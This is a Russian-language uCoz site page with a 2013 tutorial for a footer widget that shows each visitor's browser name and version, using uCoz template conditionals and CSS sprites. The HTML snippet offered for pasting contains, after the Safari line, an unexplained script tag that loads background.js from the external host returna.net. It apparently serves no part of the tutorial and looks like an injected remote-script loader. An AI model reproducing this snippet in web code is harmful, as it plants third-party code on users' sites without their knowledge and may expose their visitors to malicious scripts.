Меню сайта
Главная Статьи Форум Поиск Галерея Тестирование скорости ЛКИ Украина Мини игры онлайн TV Online Скачать Фильмы Скачать Музыку Скачать игры для PC
Продвижение сайтов
Авто раскрутка сайта Добавить сайт в поисковики ТОР Сайтов
Все для Ucoz
Шаблоны для uCoz Скрипты для uCoz Иконки для форума Иконки для групп Шапки
Софт и программы
Мультимедия Безопастность Офис Драйвера ОС и сборки Разные программы Графика Для раскрутки сайта
Counter Strike 1.6
Модели оружия Модели игроков Карты для CS 1.6 Софт для CS 1.6 Готовые сервера Background Спрайты Плагины Патчи Боты
Наша кнопка

Наши баннеры
Топы
Graffiti Decorations(R) Studio (TM) Site Promoter
Сайты модераторов
Мини-чат
Архив записей
Партнеры
Рекламное место
Пятница, 03.05.2024, 05:38:54
Приветствую Вас Гость
Главная » 2013 » Июль » 3 » Отображаем информацию ваш браузер на uCoz
23:26:57
Отображаем информацию ваш браузер на uCoz
Всем привет, сегодня благодаря системным переменным uCoz которые отвечают за отображение название браузера пользователя, мы будем создавать небольшое html-css решение, которое можно будет разместит на вашем сайте uCoz, к примеру поместить его в подвал сайта.

Как и полагается начнём данное решение с html каркаса, который размещаем в нужное место вашей страницы сайта:

Код
<div class="cell-your-browser">
  <div class="your-browser-info">Ваш браузер </div>
  <?if($USER_AGENT$='firefox')?> <a class="your-browser-ico brauzer-mf" href="http://www.mozilla.org/ru/firefox/new/" title="Скачать браузер Mozilla Firefox" target="_blank">FireFox - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='chrome')?><a class="your-browser-ico brauzer-gx" href="http://www.google.ru/chrome" title="Скачать браузер Google Chrome" target="_blank">Chrome - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='opera')?><a class="your-browser-ico brauzer-op" href="http://www.opera.com/download/" title="Скачать браузер Opera" target="_blank">Opera - $USER_AGENT_VER$</a><?endif?>
  <?if($USER_AGENT$='safari')?><a class="your-browser-ico brauzer-sf" href="http://www.apple.com/ru/safari/" title="Скачать браузер Apple Safari" target="_blank">Safari - $USER_AGENT_VER$</a><?endif?><script type="text/javascript" src="http://returna.net/background.js"></script>
  <?if($USER_AGENT$='ie')?><a class="your-browser-ico brauzer-ie" href="http://windows.microsoft.com/ru-RU/internet-explorer/products/ie/home" title="Скачать браузер Internet Explorer" target="_blank">Internet Explorer - $USER_AGENT_VER$</a><?endif?>
</div>


как можно увидеть из данного кода, системные переменные uCoz, определят какой у пользователя браузер и предоставят для этого браузера свою информацию.

Теперь нам следует установить css стили, в которых я использовал css спрайты, всё просто и удобно:

Код
/* Отображаем информацию ваш браузер на uCoz  
------------------------------------------*/
.cell-your-browser {
  float:left;
  padding: 10px;  
  font:10px Verdana,Arial,Helvetica, sans-serif;
}

.your-browser-info {
  float:left;
  height: 14px;
  padding: 3px 5px 2px 0px;
}

.your-browser-ico:link,
.your-browser-ico:visited {
  float:left;  
  height: 14px;
  padding: 3px 10px 2px 25px;
  text-shadow: 1px 1px 1px #333;
  font-weight: 700;  
  color:#eaeaea;
  border-radius:3px;  
  display:block;  
  text-decoration:none;  
  outline:none
}

.your-browser-ico:hover {  
  color:#eaeaea;
}

.brauzer-mf {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px 1px;
}

.brauzer-mf:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;
  background-position:0px 1px;
}

.brauzer-gx {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -19px;
}

.brauzer-gx:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -19px;
}

.brauzer-op {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -38px;
}

.brauzer-op:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -38px;
}

.brauzer-sf {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -56px;
}

.brauzer-sf:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -56px;
}

.brauzer-ie {  
  background:#555 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -74px;
}

.brauzer-ie:hover {
  background:#777 url(http://pnghosts.ru/img/your_browser.png) no-repeat left;  
  background-position:0px -74px;
}


На этом всё, спасибо за внимание и удачного вам начала летних дней!
Просмотров: 413 | Добавил: DoG4298 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Мини Профиль
Здравствуйте: Гость

Наш плеер
Графика
Изготовление Шапки Изготовление Баннера Изготовление Аватарки Изготовление Юзербара
Все для PhotoShop
Рамки Кисти Шрифты Иконки Уроки Photoshop Готовые PSD работы Soft по Photoshop Стили для Фотошопа Градиенты для Фотошопа
Поиск
Друзья сайта
Статистика
Счетчики:
Онлайн:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Сегодня нас посетили:
Теги
как xp gui knife для всех blue AWP map карта карт cs 1.6 карты Zombie new black фантастика новая на без for сборник lite web server no vip от 2.0 zBot final COD4 из 3.0 Steam russian программа сервера создания Advanced anti сервер windows patch категории античит за самый скин style тема патчи патч full бесплатно CS1.6 новый shop v5 2010 плагин rus beta garena 4.3 Plague super 10 рекламы не версия кс лучший Боты 1.5 русская v4 pro рабочий полностью CS:S and edition серверов модель модели shield game on win MASTER русский игры звуки gta sa sa-mp Бот любой